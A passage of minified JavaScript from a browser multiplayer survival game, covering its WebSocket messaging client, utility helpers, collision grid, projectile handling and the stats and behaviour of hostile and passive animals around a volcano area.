mapPingScale: 40,
mapPingTime: 2200,
volcanoScale: 320,
innerVolcanoScale: 100,
volcanoAnimalStrength: 2,
volcanoAnimationDuration: 3200,
volcanoAggressionRadius: 1440,
volcanoAggressionPercentage: 0.2,
volcanoDamagePerSecond: -1,
volcanoLocationX: 13960,
volcanoLocationY: 13960,
MAX_ATTACK: 0.6,
MAX_SPAWN_DELAY: 1,
MAX_SPEED: 0.3,
MAX_TURN_SPEED: 0.3,
DAY_INTERVAL: 144e4,
},
ql = new ka(),
Wl = new Pa(),
ee = {
socket: null,
connected: !1,
socketId: -1,
connect: function (t, n, i) {
if (this.socket) return;
let o = this;
try {
let a = !1;
(this.socket = new WebSocket(t)),
(this.socket.binaryType = "arraybuffer"),
(this.socket.onmessage = function (t) {
var n = new Uint8Array(t.data);
let a = Wl.decode(n),
r = a[0];
var n = a[1];
"io-init" == r ? (o.socketId = n[0]) : i[r].apply(void 0, n);
}),
(this.socket.onopen = function () {
(o.connected = !0), n();
}),
(this.socket.onclose = function (t) {
(o.connected = !1),
4001 == t.code ? n("Invalid Connection") : a || n("disconnected"),
(window.onbeforeunload = () => {}),
window.location.reload();
}),
(this.socket.onerror = function (t) {
this.socket &&
this.socket.readyState != WebSocket.OPEN &&
((a = !0),
console.error("Socket error", arguments),
n("Socket error"));
});
} catch (r) {
console.warn("Socket connection error:", r), n(r);
}
},
send: function (t) {
let n = Array.prototype.slice.call(arguments, 1),
i = ql.encode([t, n]);
this.socket && this.socket.send(i);
},
socketReady: function () {
return this.socket && this.connected;
},
close: function () {
this.socket && this.socket.close(),
(this.socket = null),
(this.connected = !1);
},
};
var qr = Math.abs;
const Xl = Math.sqrt;
var qr = Math.abs;
const Gl = Math.atan2,
Qi = Math.PI,
Yl = function (t, n) {
return Math.floor(Math.random() * (n - t + 1)) + t;
},
$l = function (t, n) {
return Math.random() * (n - t + 1) + t;
},
Kl = function (t, n, i) {
return t + (n - t) * i;
},
Jl = function (t, n) {
return (
t > 0 ? (t = Math.max(0, t - n)) : t < 0 && (t = Math.min(0, t + n)), t
);
},
Ql = function (t, n, i, o) {
return Xl((i -= t) * i + (o -= n) * o);
},
Zl = function (t, n, i, o) {
return Gl(n - o, t - i);
},
jl = function (t, n) {
let i = qr(n - t) % (2 * Qi);
return i > Qi ? 2 * Qi - i : i;
},
ec = function (t) {
return "number" == typeof t && !isNaN(t) && isFinite(t);
},
tc = function (t) {
return t && "string" == typeof t;
},
ic = function (t) {
return t > 999 ? (t / 1e3).toFixed(1) + "k" : t;
},
nc = function (t) {
return t.charAt(0).toUpperCase() + t.slice(1);
},
sc = function (t, n) {
return t ? parseFloat(t.toFixed(n)) : 0;
},
rc = function (t, n) {
return parseFloat(n.points) - parseFloat(t.points);
},
oc = function (t, n, i, o, a, r, s, l) {
let c = Math.min(a, s),
d = Math.max(a, s);
if ((d > i && (d = i), c < t && (c = t), c > d)) return !1;
let h = r,
u = l,
p = s - a;
if (Math.abs(p) > 1e-7) {
let f = (l - r) / p,
$ = r - f * a;
(h = f * c + $), (u = f * d + $);
}
return (
(u = Math.max((h = Math.min(h, u)), u)) > o && (u = o),
h < n && (h = n),
!(h > u)
);
},
Wr = function (t, n, i) {
let o = t.getBoundingClientRect(),
a = o.left + window.scrollX,
r = o.top + window.scrollY,
s = o.width,
l = o.height;
return n > a && n < a + s && i > r && i < r + l;
},
hi = function (t) {
let n = t.changedTouches[0];
(t.screenX = n.screenX),
(t.screenY = n.screenY),
(t.clientX = n.clientX),
(t.clientY = n.clientY),
(t.pageX = n.pageX),
(t.pageY = n.pageY);
},
Xr = function (t, n) {
let i = !n,
o = !1;
function a(n) {
hi(n),
window.setUsingTouch(!0),
i && (n.preventDefault(), n.stopPropagation()),
o &&
(t.onclick && t.onclick(n),
t.onmouseout && t.onmouseout(n),
(o = !1));
}
t.addEventListener(
"touchstart",
Be(function n(a) {
hi(a),
window.setUsingTouch(!0),
i && (a.preventDefault(), a.stopPropagation()),
t.onmouseover && t.onmouseover(a),
(o = !0);
}),
!1
),
t.addEventListener(
"touchmove",
Be(function n(a) {
hi(a),
window.setUsingTouch(!0),
i && (a.preventDefault(), a.stopPropagation()),
Wr(t, a.pageX, a.pageY)
? o || (t.onmouseover && t.onmouseover(a), (o = !0))
: o && (t.onmouseout && t.onmouseout(a), (o = !1));
}),
!1
),
t.addEventListener("touchend", Be(a), !1),
t.addEventListener("touchcancel", Be(a), !1),
t.addEventListener("touchleave", Be(a), !1);
},
ac = function (t) {
for (; t.hasChildNodes(); ) t.removeChild(t.lastChild);
},
lc = function (t) {
let n = document.createElement(t.tag || "div");
function i(i, o) {
t[i] && (n[o] = t[i]);
}
for (let o in (i("text", "textContent"),
i("html", "innerHTML"),
i("class", "className"),
t)) {
switch (o) {
case "tag":
case "text":
case "html":
case "class":
case "style":
case "hookTouch":
case "parent":
case "children":
continue;
}
n[o] = t[o];
}
if (
(n.onclick && (n.onclick = Be(n.onclick)),
n.onmouseover && (n.onmouseover = Be(n.onmouseover)),
n.onmouseout && (n.onmouseout = Be(n.onmouseout)),
t.style && (n.style.cssText = t.style),
t.hookTouch && Xr(n),
t.parent && t.parent.appendChild(n),
t.children)
)
for (let a = 0; a < t.children.length; a++) n.appendChild(t.children[a]);
return n;
},
Gr = function (t) {
return !t || "boolean" != typeof t.isTrusted || t.isTrusted;
},
Be = function (t) {
return function (n) {
n && n instanceof Event && Gr(n) && t(n);
};
},
cc = function (t) {
let n = "",
i = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (let o = 0; o < t; o++)
n += i.charAt(Math.floor(Math.random() * i.length));
return n;
},
hc = function (t, n) {
let i = 0;
for (let o = 0; o < t.length; o++) t[o] === n && i++;
return i;
},
C = {
randInt: Yl,
randFloat: $l,
lerp: Kl,
decel: Jl,
getDistance: Ql,
getDirection: Zl,
getAngleDist: jl,
isNumber: ec,
isString: tc,
kFormat: ic,
capitalizeFirst: nc,
fixTo: sc,
sortByPoints: rc,
lineInRect: oc,
containsPoint: Wr,
mousifyTouchEvent: hi,
hookTouchEvents: Xr,
removeAllChildren: ac,
generateElement: lc,
eventIsTrusted: Gr,
checkTrusted: Be,
randomString: cc,
countInArray: hc,
},
fc = function () {
(this.init = function (t, n, i, o, a, r, s) {
(this.x = t),
(this.y = n),
(this.color = s),
(this.scale = i),
(this.weight = 50),
(this.startScale = 0.625 * this.scale),
(this.maxScale = 1.5 * i),
(this.scaleSpeed = 0.7),
(this.speed = 0.18),
(this.speedMax = o),
(this.life = a),
(this.maxLife = a),
(this.text = r),
(this.movSpeed = 1 * Math.random() + 1),
(this.movAngle = 1 * Math.random() < 0.5);
}),
(this.update = function (t) {
this.life &&
((this.life -= t),
-0.35 != this.scaleSpeed
? ((this.y += this.speed),
this.movAngle
? (this.x -= this.speed * t * this.movSpeed)
: (this.x += this.speed * t * this.movSpeed))
: (this.y += this.speed * t),
(this.scale += this.scaleSpeed * (t / 4.5)),
(this.scale = Math.max(this.scale, this.startScale)),
this.speed < this.speedMax && (this.speed += 0.01 * this.speedMax),
this.scale >= this.maxScale &&
((this.scale = this.maxScale),
(this.scaleSpeed *= -0.5),
(this.speed = 0.5 * this.speed)),
this.life <= 0 && (this.life = 0));
}),
(this.render = function (t, n, i) {
(t.lineWidth = 10),
(t.strokeStyle = "#2b2b2b"),
(t.fillStyle = this.color),
(t.globalAlpha = (this.life / this.maxLife) * 2),
(t.font = this.scale + "px Hammersmith One"),
t.strokeText(this.text, this.x - n, this.y - i),
t.fillText(this.text, this.x - n, this.y - i),
(t.globalAlpha = 1);
});
},
uc = function () {
(this.texts = []),
(this.update = function (t, n, i, o) {
(n.textBaseline = "middle"), (n.textAlign = "center");
for (let a = 0; a < this.texts.length; ++a)
this.texts[a].life &&
(this.texts[a].update(t), this.texts[a].render(n, i, o));
}),
(this.showText = function (t, n, i, o, a, r, s) {
let l;
for (let c = 0; c < this.texts.length; ++c)
if (!this.texts[c].life) {
l = this.texts[c];
break;
}
l || ((l = new fc()), this.texts.push(l)), l.init(t, n, i, o, a, r, s);
});
},
dc = function (t, n) {
let i;
(this.sounds = []),
(this.active = !0),
(this.play = function (n, o, a) {
o &&
this.active &&
((i = this.sounds[n]) ||
((i = new Howl({
src: ".././sound/" + n + ".mp3",
})),
(this.sounds[n] = i)),
(a && i.isPlaying) ||
((i.isPlaying = !0),
i.play(),
i.volume((o || 1) * t.volumeMult),
i.loop(a)));
}),
(this.toggleMute = function (t, n) {
(i = this.sounds[t]) && i.mute(n);
}),
(this.stop = function (t) {
(i = this.sounds[t]) && (i.stop(), (i.isPlaying = !1));
});
},
Os = Math.floor,
Rs = Math.abs,
Ot = Math.cos,
Rt = Math.sin,
pc = Math.sqrt;
function mc(t, n, i, o, a, r) {
(this.objects = n), (this.grids = {}), (this.updateObjects = []);
let s,
l,
c = o.mapScale / o.colGrid;
(this.setObjectGrids = function (t) {
let n = Math.min(o.mapScale, Math.max(0, t.x)),
i = Math.min(o.mapScale, Math.max(0, t.y));
for (let a = 0; a < o.colGrid; ++a) {
s = a * c;
for (let r = 0; r < o.colGrid; ++r)
(l = r * c),
n + t.scale >= s &&
n - t.scale <= s + c &&
i + t.scale >= l &&
i - t.scale <= l + c &&
(this.grids[a + "_" + r] || (this.grids[a + "_" + r] = []),
this.grids[a + "_" + r].push(t),
t.gridLocations.push(a + "_" + r));
}
}),
(this.removeObjGrid = function (t) {
let n;
for (let i = 0; i < t.gridLocations.length; ++i)
(n = this.grids[t.gridLocations[i]].indexOf(t)) >= 0 &&
this.grids[t.gridLocations[i]].splice(n, 1);
}),
(this.disableObj = function (t) {
if (((t.active = !1), r)) {
t.owner && t.pps && (t.owner.pps -= t.pps), this.removeObjGrid(t);
let n = this.updateObjects.indexOf(t);
n >= 0 && this.updateObjects.splice(n, 1);
}
}),
(this.hitObj = function (t, n) {
for (let o = 0; o < a.length; ++o)
a[o].active &&
(t.sentTo[a[o].id] &&
(t.active
? a[o].canSee(t) && r.send(a[o].id, "L", i.fixTo(n, 1), t.sid)
: r.send(a[o].id, "Q", t.sid)),
t.active || t.owner != a[o] || a[o].changeItemCount(t.group.id, -1));
});
let d = [],
h;
this.getGridArrays = function (t, n, i) {
(s = Os(t / c)), (l = Os(n / c)), (d.length = 0);
try {
this.grids[s + "_" + l] && d.push(this.grids[s + "_" + l]),
t + i >= (s + 1) * c &&
((h = this.grids[s + 1 + "_" + l]) && d.push(h),
l && n - i <= l * c
? (h = this.grids[s + 1 + "_" + (l - 1)]) && d.push(h)
: n + i >= (l + 1) * c &&
(h = this.grids[s + 1 + "_" + (l + 1)]) &&
d.push(h)),
s &&
t - i <= s * c &&
((h = this.grids[s - 1 + "_" + l]) && d.push(h),
l && n - i <= l * c
? (h = this.grids[s - 1 + "_" + (l - 1)]) && d.push(h)
: n + i >= (l + 1) * c &&
(h = this.grids[s - 1 + "_" + (l + 1)]) &&
d.push(h)),
n + i >= (l + 1) * c &&
(h = this.grids[s + "_" + (l + 1)]) &&
d.push(h),
l && n - i <= l * c && (h = this.grids[s + "_" + (l - 1)]) && d.push(h);
} catch {}
return d;
};
let u;
(this.add = function (i, o, a, s, l, c, d, h, p) {
u = null;
for (var f = 0; f < n.length; ++f)
if (n[f].sid == i) {
u = n[f];
break;
}
if (!u) {
for (var f = 0; f < n.length; ++f)
if (!n[f].active) {
u = n[f];
break;
}
}
u || ((u = new t(i)), n.push(u)),
h && (u.sid = i),
u.init(o, a, s, l, c, d, p),
r && (this.setObjectGrids(u), u.doUpdate && this.updateObjects.push(u));
}),
(this.disableBySid = function (t) {
for (let i = 0; i < n.length; ++i)
if (n[i].sid == t) {
this.disableObj(n[i]);
break;
}
}),
(this.removeAllItems = function (t, i) {
for (let o = 0; o < n.length; ++o)
n[o].active &&
n[o].owner &&
n[o].owner.sid == t &&
this.disableObj(n[o]);
i && i.broadcast("R", t);
}),
(this.fetchSpawnObj = function (t) {
let i = null;
for (let o = 0; o < n.length; ++o)
if ((u = n[o]).active && u.owner && u.owner.sid == t && u.spawnPoint) {
(i = [u.x, u.y]),
this.disableObj(u),
r.broadcast("Q", u.sid),
u.owner && u.owner.changeItemCount(u.group.id, -1);
break;
}
return i;
}),
(this.checkItemLocation = function (t, n, i, a, r) {
let s = {
x: t,
y: n,
};
return (
!ue.objects.find(
(t) =>
t.active &&
cdf(s, t) < r + (t.blocker ? t.blocker : t.getScale(i, t.isItem))
) &&
(18 == a ||
!(n >= o.mapScale / 2 - o.riverWidth / 2) ||
!(n <= o.mapScale / 2 + o.riverWidth / 2))
);
}),
(this.addProjectile = function (t, n, o, r, s) {
let l = items.projectiles[s],
c;
for (let d = 0; d < projectiles.length; ++d)
if (!projectiles[d].active) {
c = projectiles[d];
break;
}
c || ((c = new Projectile(a, i)), projectiles.push(c)),
c.init(s, t, n, o, l.speed, r, l.scale);
}),
(this.checkCollision = function (t, n, a) {
a = a || 1;
let r = t.x - n.x,
s = t.y - n.y,
l = t.scale + n.scale;
if (Rs(r) <= l || Rs(s) <= l) {
l = t.scale + (n.getScale ? n.getScale() : n.scale);
let c = pc(r * r + s * s) - l;
if (c <= 0) {
if (n.ignoreCollision)
!n.trap ||
t.noTrap ||
n.owner == t ||
(n.owner && n.owner.team && n.owner.team == t.team)
? n.boostSpeed
? ((t.xVel += a * n.boostSpeed * (n.weightM || 1) * Ot(n.dir)),
(t.yVel += a * n.boostSpeed * (n.weightM || 1) * Rt(n.dir)))
: n.healCol
? (t.healCol = n.healCol)
: n.teleport &&
((t.x = i.randInt(0, o.mapScale)),
(t.y = i.randInt(0, o.mapScale)))
: ((t.lockMove = !0), (n.hideFromEnemy = !1));
else {
let d = i.getDirection(t.x, t.y, n.x, n.y);
if (
(i.getDistance(t.x, t.y, n.x, n.y),
n.isPlayer
? ((c = (-1 * c) / 2),
(t.x += c * Ot(d)),
(t.y += c * Rt(d)),
(n.x -= c * Ot(d)),
(n.y -= c * Rt(d)))
: ((t.x = n.x + l * Ot(d)),
(t.y = n.y + l * Rt(d)),
(t.xVel *= 0.75),
(t.yVel *= 0.75)),
n.dmg &&
n.owner != t &&
!(n.owner && n.owner.team && n.owner.team == t.team))
) {
t.changeHealth(-n.dmg, n.owner, n);
let h = 1.5 * (n.weightM || 1);
(t.xVel += h * Ot(d)),
(t.yVel += h * Rt(d)),
n.pDmg &&
!(t.skin && t.skin.poisonRes) &&
((t.dmgOverTime.dmg = n.pDmg),
(t.dmgOverTime.time = 5),
(t.dmgOverTime.doer = n.owner)),
t.colDmg &&
n.health &&
(n.changeHealth(-t.colDmg) && this.disableObj(n),
this.hitObj(n, i.getDirection(t.x, t.y, n.x, n.y)));
}
}
return n.zIndex > t.zIndex && (t.zIndex = n.zIndex), !0;
}
}
return !1;
});
}
function gc(t, n, i, o, a, r, s, l, c) {
this.addProjectile = function (d, h, u, p, f, $, g, m, _) {
let k = r.projectiles[$],
v;
for (let b = 0; b < n.length; ++b)
if (!n[b].active) {
v = n[b];
break;
}
return (
v || (((v = new t(i, o, a, r, s, l, c)).sid = n.length), n.push(v)),
v.init($, d, h, u, f, k.dmg, p, k.scale, g),
(v.ignoreObj = m),
(v.layer = _ || k.layer),
(v.src = k.src),
v
);
};
}
function yc(t, n, i, o, a, r, s, l, c) {
(this.aiTypes = [
{
id: 0,
src: "cow_1",
killScore: 150,
health: 500,
weightM: 0.8,
speed: 95e-5,
turnSpeed: 0.001,
scale: 72,
drop: ["food", 50],
},
{
id: 1,
src: "pig_1",
killScore: 200,
health: 800,
weightM: 0.6,
speed: 85e-5,
turnSpeed: 0.001,
scale: 72,
drop: ["food", 80],
},
{
id: 2,
name: "Bull",
src: "bull_2",
hostile: !0,
dmg: 20,
killScore: 1e3,
health: 1800,
weightM: 0.5,
speed: 94e-5,
turnSpeed: 74e-5,
scale: 78,
viewRange: 800,
chargePlayer: !0,
drop: ["food", 100],
},
{
id: 3,
name: "Bully",
src: "bull_1",
hostile: !0,
dmg: 20,
killScore: 2e3,
health: 2800,
weightM: 0.45,
speed: 0.001,
turnSpeed: 8e-4,
scale: 90,
viewRange: 900,
chargePlayer: !0,
drop: ["food", 400],
},
{
id: 4,
name: "Wolf",
src: "wolf_1",
hostile: !0,
dmg: 8,
killScore: 500,
health: 300,
weightM: 0.45,
speed: 0.001,
turnSpeed: 0.002,
scale: 84,
viewRange: 800,
chargePlayer: !0,
drop: ["food", 200],
},
{
id: 5,
name: "Quack",
src: "chicken_1",
dmg: 8,
killScore: 2e3,
noTrap: !0,
health: 300,
weightM: 0.2,
speed: 0.0018,
turnSpeed: 0.006,
scale: 70,
drop: ["food", 100],
},
{
id: 6,
name: "MOOSTAFA",
nameScale: 50,
src: "enemy",
hostile: !0,
dontRun: !0,
fixedSpawn: !0,
spawnDelay: 6e4,
noTrap: !0,
colDmg: 100,
dmg: 40,
killScore: 8e3,
health: 18e3,
weightM: 0.4,
speed: 7e-4,
turnSpeed: 0.01,
scale: 80,
spriteMlt: 1.8,
leapForce: 0.9,
viewRange: 1e3,
hitRange: 210,
hitDelay: 1e3,
chargePlayer: !0,
drop: ["food", 100],
},
{
id: 7,
name: "Treasure",
hostile: !0,
nameScale: 35,
src: "crate_1",
fixedSpawn: !0,
spawnDelay: 12e4,
colDmg: 200,
killScore: 5e3,
health: 2e4,
weightM: 0.1,
speed: 0,
turnSpeed: 0,
scale: 70,
spriteMlt: 1,
},
{
id: 8,
name: "MOOFIE",
src: "wolf_2",
hostile: !0,
fixedSpawn: !0,
dontRun: !0,
hitScare: 4,
spawnDelay: 3e4,
noTrap: !0,
nameScale: 35,
dmg: 10,
colDmg: 100,
killScore: 3e3,
health: 7e3,
weightM: 0.45,
speed: 0.0015,
turnSpeed: 0.002,
scale: 90,
viewRange: 800,
chargePlayer: !0,
drop: ["food", 1e3],
},
{
id: 9,
name: "\uD83D\uDC80MOOFIE\uD83D\uDC80",
src: "wolf_2",
hostile: !0,
fixedSpawn: !0,
dontRun: !0,
hitScare: 50,
spawnDelay: 6e4,
noTrap: !0,
nameScale: 35,
dmg: 12,
colDmg: 100,
killScore: 3e3,
health: 9e3,
weightM: 0.45,
speed: 0.0015,
turnSpeed: 0.0025,
scale: 94,
viewRange: 1440,
chargePlayer: !0,
drop: ["food", 3e3],
minSpawnRange: 0.85,
maxSpawnRange: 0.9,
},
{
id: 10,
name: "\uD83D\uDC80Wolf\uD83D\uDC80",
src: "wolf_1",
hostile: !0,
fixedSpawn: !0,
dontRun: !0,
hitScare: 50,
spawnDelay: 3e4,
dmg: 10,
killScore: 700,
health: 500,
weightM: 0.45,
speed: 0.00115,
turnSpeed: 0.0025,
scale: 88,
viewRange: 1440,
chargePlayer: !0,
drop: ["food", 400],
minSpawnRange: 0.85,
maxSpawnRange: 0.9,
},
{
id: 11,
name: "\uD83D\uDC80Bully\uD83D\uDC80",
src: "bull_1",
hostile: !0,
fixedSpawn: !0,
dontRun: !0,
hitScare: 50,
dmg: 20,
killScore: 5e3,
health: 5e3,
spawnDelay: 1e5,
weightM: 0.45,
speed: 0.00115,
turnSpeed: 0.0025,
scale: 94,
viewRange: 1440,
chargePlayer: !0,
drop: ["food", 800],
minSpawnRange: 0.85,
maxSpawnRange: 0.9,
},
]),
(this.spawn = function (d, h, u, p) {
if (!this.aiTypes[p])
return console.error("missing ai type", p), this.spawn(d, h, u, 0);
let f;
for (let $ = 0; $ < t.length; ++$)
if (!t[$].active) {
f = t[$];
break;
}
return (
f || ((f = new n(t.length, a, i, o, s, r, l, c)), t.push(f)),
f.init(d, h, u, p, this.aiTypes[p]),
f
);
});
}
const ot = 2 * Math.PI,
Zi = 0;
function wc(t, n, i, o, a, r, s, l) {
(this.sid = t),
(this.isAI = !0),
(this.nameIndex = a.randInt(0, r.cowNames.length - 1)),
(this.init = function (t, n, i, o, a) {
(this.x = t),
(this.y = n),
(this.startX = a.fixedSpawn ? t : null),
(this.startY = a.fixedSpawn ? n : null),
(this.xVel = 0),
(this.yVel = 0),
(this.zIndex = 0),
(this.dir = i),
(this.dirPlus = 0),
(this.index = o),
(this.src = a.src),
a.name && (this.name = a.name),
(this.name || "").startsWith("\uD83D\uDC80") && (this.isVolcanoAi = !0),
(this.weightM = a.weightM),
(this.speed = a.speed),
(this.killScore = a.killScore),
(this.turnSpeed = a.turnSpeed),
(this.scale = a.scale),
(this.maxHealth = a.health),
(this.leapForce = a.leapForce),
(this.health = this.maxHealth),
(this.lastHealth = this.health),
(this.chargePlayer = a.chargePlayer),
(this.viewRange = a.viewRange),
(this.drop = a.drop),
(this.dmg = a.dmg),
(this.hostile = a.hostile),
(this.dontRun = a.dontRun),
(this.hitRange = a.hitRange),
(this.hitDelay = a.hitDelay),
(this.hitScare = a.hitScare),
(this.spriteMlt = a.spriteMlt),
(this.nameScale = a.nameScale),
(this.colDmg = a.colDmg),
(this.noTrap = a.noTrap),
(this.spawnDelay = a.spawnDelay),
(this.minSpawnRange = a.minSpawnRange),
(this.maxSpawnRange = a.maxSpawnRange),
(this.hitWait = 0),
(this.waitCount = 1e3),
(this.moveCount = 0),
(this.targetDir = 0),
(this.active = !0),
(this.alive = !0),
(this.runFrom = null),
(this.chargeTarget = null),
(this.dmgOverTime = {});
}),
(this.getVolcanoAggression = function () {
let t = a.getDistance(
this.x,
this.y,
r.volcanoLocationX,
r.volcanoLocationY
),
n = t > r.volcanoAggressionRadius ? 0 : r.volcanoAggressionRadius - t;
return (
1 + r.volcanoAggressionPercentage * (1 - n / r.volcanoAggressionRadius)
);
});
let c = 0;
(this.update = function (t) {
if (this.active) {
if (this.spawnCounter) {
if (
((this.spawnCounter -= 1 * t * this.getVolcanoAggression()),
this.spawnCounter <= 0)
) {
if (
((this.spawnCounter = 0), this.minSpawnRange || this.maxSpawnRange)
) {
let o = r.mapScale * this.minSpawnRange,
s = r.mapScale * this.maxSpawnRange;
(this.x = a.randInt(o, s)), (this.y = a.randInt(o, s));
} else
(this.x = this.startX || a.randInt(0, r.mapScale)),
(this.y = this.startY || a.randInt(0, r.mapScale));
}
return;
}
(c -= t) <= 0 &&
(this.dmgOverTime.dmg &&
(this.changeHealth(-this.dmgOverTime.dmg, this.dmgOverTime.doer),
(this.dmgOverTime.time -= 1),
this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)),
(c = 1e3));
let d = !1,
h = 1;
if (
(!this.zIndex &&
!this.lockMove &&
this.y >= r.mapScale / 2 - r.riverWidth / 2 &&
this.y <= r.mapScale / 2 + r.riverWidth / 2 &&
((h = 0.33), (this.xVel += r.waterCurrent * t)),
this.lockMove)
)
(this.xVel = 0), (this.yVel = 0);
else if (this.waitCount > 0) {
if (((this.waitCount -= t), this.waitCount <= 0)) {
if (this.chargePlayer) {
let u, p, f;
for (var $, g, m = 0; m < i.length; ++m)
i[m].alive &&
!(i[m].skin && i[m].skin.bullRepel) &&
(f = a.getDistance(this.x, this.y, i[m].x, i[m].y)) <=
this.viewRange &&
(!u || f < p) &&
((p = f), (u = i[m]));
u
? ((this.chargeTarget = u),
(this.moveCount = a.randInt(8e3, 12e3)))
: ((this.moveCount = a.randInt(1e3, 2e3)),
(this.targetDir = a.randFloat(-Math.PI, Math.PI)));
} else
(this.moveCount = a.randInt(4e3, 1e4)),
(this.targetDir = a.randFloat(-Math.PI, Math.PI));
}
} else if (this.moveCount > 0) {
var _ =
this.speed * h * (1 + 0 * r.MAX_SPEED) * this.getVolcanoAggression();
if (
(this.runFrom &&
this.runFrom.active &&
!(this.runFrom.isPlayer && !this.runFrom.alive)
? ((this.targetDir = a.getDirection(
this.x,
this.y,
this.runFrom.x,
this.runFrom.y
)),
(_ *= 1.42))
: this.chargeTarget &&
this.chargeTarget.alive &&
((this.targetDir = a.getDirection(
this.chargeTarget.x,
this.chargeTarget.y,
this.x,
this.y
)),
(_ *= 1.75),
(d = !0)),
this.hitWait && (_ *= 0.3),
this.dir != this.targetDir)
) {
this.dir %= ot;
let k = (this.dir - this.targetDir + ot) % ot,
v = Math.min(Math.abs(k - ot), k, this.turnSpeed * t),
b = k - Math.PI >= 0 ? 1 : -1;
this.dir += b * v + ot;
}
(this.dir %= ot),
(this.xVel += _ * t * Math.cos(this.dir)),
(this.yVel += _ * t * Math.sin(this.dir)),
(this.moveCount -= t),
this.moveCount <= 0 &&
((this.runFrom = null),
(this.chargeTarget = null),
(this.waitCount = this.hostile ? 1500 : a.randInt(1500, 6e3)));
}
(this.zIndex = 0), (this.lockMove = !1);
let w = a.getDistance(0, 0, this.xVel * t, this.yVel * t),
x = Math.min(4, Math.max(1, Math.round(w / 40))),
S = 1 / x;
for (var m = 0; m < x; ++m) {
this.xVel && (this.x += this.xVel * t * S),
this.yVel && (this.y += this.yVel * t * S),
(A = n.getGridArrays(this.x, this.y, this.scale));
for (var I = 0; I < A.length; ++I)
for (let P = 0; P < A[I].length; ++P)
A[I][P].active && n.checkCollision(this, A[I][P], S);
}
let O = !1;
if (this.hitWait > 0 && ((this.hitWait -= t), this.hitWait <= 0)) {
(O = !0),
(this.hitWait = 0),
this.leapForce &&
!a.randInt(0, 2) &&
((this.xVel += this.leapForce * Math.cos(this.dir)),
(this.yVel += this.leapForce * Math.sin(this.dir)));
var A,
$,
g,
A = n.getGridArrays(this.x, this.y, this.hitRange);
for (let B = 0; B < A.length; ++B)
for (var I = 0; I < A[B].length; ++I)
($ = A[B][I]).health &&
(g = a.getDistance(this.x, this.y, $.x, $.y)) <
$.scale + this.hitRange &&
($.changeHealth(-(5 * this.dmg)) && n.disableObj($),
n.hitObj($, a.getDirection(this.x, this.y, $.x, $.y)));
for (var I = 0; I < i.length; ++I)
i[I].canSee(this) && l.send(i[I].id, "J", this.sid);
}
if (d || O) {
let D;
for (var m = 0; m < i.length; ++m)
($ = i[m]) &&
$.alive &&
((g = a.getDistance(this.x, this.y, $.x, $.y)),
this.hitRange
? !this.hitWait &&
g <= this.hitRange + $.scale &&
(O
? ((D = a.getDirection($.x, $.y, this.x, this.y)),
$.changeHealth(
-this.dmg *
(1 + 0 * r.MAX_ATTACK) *
this.getVolcanoAggression()
),
($.xVel += 0.6 * Math.cos(D)),
($.yVel += 0.6 * Math.sin(D)),
(this.runFrom = null),
(this.chargeTarget = null),
(this.waitCount = 3e3),
(this.hitWait = a.randInt(0, 2) ? 0 : 600))
: (this.hitWait = this.hitDelay))
: g <= this.scale + $.scale &&
((D = a.getDirection($.x, $.y, this.x, this.y)),
$.changeHealth(
-this.dmg *
(1 + 0 * r.MAX_ATTACK) *
this.getVolcanoAggression()
),
($.xVel += 0.55 * Math.cos(D)),
($.yVel += 0.55 * Math.sin(D))));
}
this.xVel && (this.xVel *= Math.pow(r.playerDecel, t)),
this.yVel && (this.yVel *= Math.pow(r.playerDecel, t));
let z = this.scale;
this.x - z < 0
? ((this.x = z), (this.xVel = 0))
: this.x + z > r.mapScale &&
((this.x = r.mapScale - z), (this.xVel = 0)),
this.y - z < 0
? ((this.y = z), (this.yVel = 0))
: this.y + z > r.mapScale &&
((this.y = r.mapScale - z), (this.yVel = 0)),
this.isVolcanoAi &&
(this.chargeTarget &&
(a.getDistance(
this.chargeTarget.x,
this.chargeTarget.y,
r.volcanoLocationX,
r.volcanoLocationY
) || 0) > r.volcanoAggressionRadius &&
(this.chargeTarget = null),
this.xVel &&
(this.x < r.volcanoLocationX - r.volcanoAggressionRadius
? ((this.x = r.volcanoLocationX - r.volcanoAggressionRadius),
(this.xVel = 0))
: this.x > r.volcanoLocationX + r.volcanoAggressionRadius &&
((this.x = r.volcanoLocationX + r.volcanoAggressionRadius),
(this.xVel = 0))),
this.yVel &&
(this.y < r.volcanoLocationY - r.volcanoAggressionRadius
? ((this.y = r.volcanoLocationY - r.volcanoAggressionRadius),
(this.yVel = 0))
: this.y > r.volcanoLocationY + r.volcanoAggressionRadius &&
((this.y = r.volcanoLocationY + r.volcanoAggressionRadius),
(this.yVel = 0))));
}
}),
(this.canSee = function (t) {
if (
!t ||
(t.skin && t.skin.invisTimer && t.noMovTimer >= t.skin.invisTimer)
)
return !1;
let n = Math.abs(t.x - this.x) - t.scale,
i = Math.abs(t.y - this.y) - t.scale;
return (
n <= (r.maxScreenWidth / 2) * 1.5 && i <= (r.maxScreenHeight / 2) * 1.5
);
});
let d = 0,
h = 0;
(this.animate = function (t) {
this.animTime > 0 &&
((this.animTime -= t),
this.animTime <= 0
? ((this.animTime = 0), (this.dirPlus = 0), (d = 0), (h = 0))
: 0 == h
? ((d += t / (this.animSpeed * r.hitReturnRatio)),
(this.dirPlus = a.lerp(0, this.targetAngle, Math.min(1, d))),
d >= 1 && ((d = 1), (h = 1)))
: ((d -= t / (this.animSpeed * (1 - r.hitReturnRatio))),
(this.dirPlus = a.lerp(0, this.targetAngle, Math.max(0, d)))));
}),
(this.startAnim = function () {
(this.animTime = this.animSpeed = 600),
(this.targetAngle = 0.8 * Math.PI),
(d = 0),
(h = 0);
}),
(this.changeHealth = function (t, n, i) {
if (
this.active &&
((this.health += t),
i &&
(this.hitScare && !a.randInt(0, this.hitScare)
? ((this.runFrom = i), (this.waitCount = 0), (this.moveCount = 2e3))
: this.hostile && this.chargePlayer && i.isPlayer
? ((this.chargeTarget = i),
(this.waitCount = 0),
(this.moveCount = 8e3))
: this.dontRun ||
((this.runFrom = i),
(this.waitCount = 0),
(this.moveCount = 2e3))),
t < 0 && this.hitRange && a.randInt(0, 1) && (this.hitWait = 500),
n &&
n.canSee(this) &&
t < 0 &&
l.send(
n.id,
"8",
Math.round(this.x),
Math.round(this.y),
Math.round(-t),
1
),
this.health <= 0)
) {
if (this.spawnDelay)
(this.spawnCounter = this.spawnDelay),
(this.x = -1e6),
(this.y = -1e6);
else if (this.minSpawnRange || this.maxSpawnRange) {
